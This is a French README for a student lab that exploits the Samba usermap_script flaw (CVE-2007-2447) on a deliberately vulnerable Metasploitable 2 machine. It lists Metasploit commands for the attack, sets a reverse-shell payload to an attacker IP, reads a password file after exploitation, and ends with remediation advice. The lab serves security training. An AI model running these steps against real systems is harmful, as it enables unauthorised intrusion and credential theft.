SMB-PenTest-Exploitation-de-CVE-2007-2447-sur-Metasploitable-2

RedTeam-Test-d'Intrusion-SMB

Description

Ce projet documente mon engagement de test d'intrusion dans le cadre du cours CMIT 386 à l'UMGC. Il se concentre sur l'exploitation de la vulnérabilité Samba SMB usermap_script (CVE-2007-2447) sur Metasploitable 2 en utilisant Metasploit depuis une machine d'attaque Kali Linux. Cette preuve de concept montre comment une vulnérabilité héritée peut conduire à un compromis total du système, au vol d'identifiants et à l'exfiltration de données.

Aperçu de la vulnérabilité

La vulnérabilité réside dans le service Samba sur le port 445, où une gestion incorrecte des entrées dans le script username map permet une exécution de commandes à distance sans authentification. Cela offre aux attaquants un accès shell de niveau root si elle est exploitée.

Environnement

Composant	Détails
Machine attaquante	Kali Linux
Machine victime	Metasploitable 2
Port cible	445 (Samba/SMB)
Exploit utilisé	exploit/multi/samba/usermap_script
Cible des identifiants	/redteam7/student3/mypass.txt

Étapes à suivre

1. Lancer Metasploit :

msfconsole

Assurez-vous que la machine attaquante et la machine victime sont démarrées et en cours d'exécution.

2. Rechercher l'exploit :

search samba

3. Utiliser le module approprié :

use exploit/multi/samba/usermap_script

4. Définir les options requises :

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Exécuter l'exploit :

exploit

6. Commandes post-exploitation :

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Instructions de réinitialisation

Si la session se bloque ou échoue :

Réinitialiser Metasploit :

# Quitter le shell actuel
Ctrl C
exit
# Tuer tous les travaux en arrière-plan
sessions -K             
jobs -K
# Redémarrer Metasploit
msfconsole              

Points clés à retenir

• Les services hérités comme Samba 3.0.20 avec usermap_script sont hautement vulnérables.
• L'exploitation de cette vulnérabilité SMB accorde un accès shell root.
• Des données critiques peuvent être récupérées avec des commandes simples, démontrant le risque réel.
• Cela prouve la nécessité de corriger, segmenter et réduire l'exposition des services.

Recommandations

• Corriger ou décommissionner immédiatement les systèmes hérités.
• Mettre en œuvre une segmentation réseau stricte et des règles de pare-feu.
• Limiter l'exposition SMB aux seuls utilisateurs internes authentifiés.
• Surveiller les journaux pour détecter les activités suspectes et les mouvements latéraux.

Références

• Metasploit Samba usermap_script
• Détails CVE-2007-2447
• Index des exploits Metasploitable 2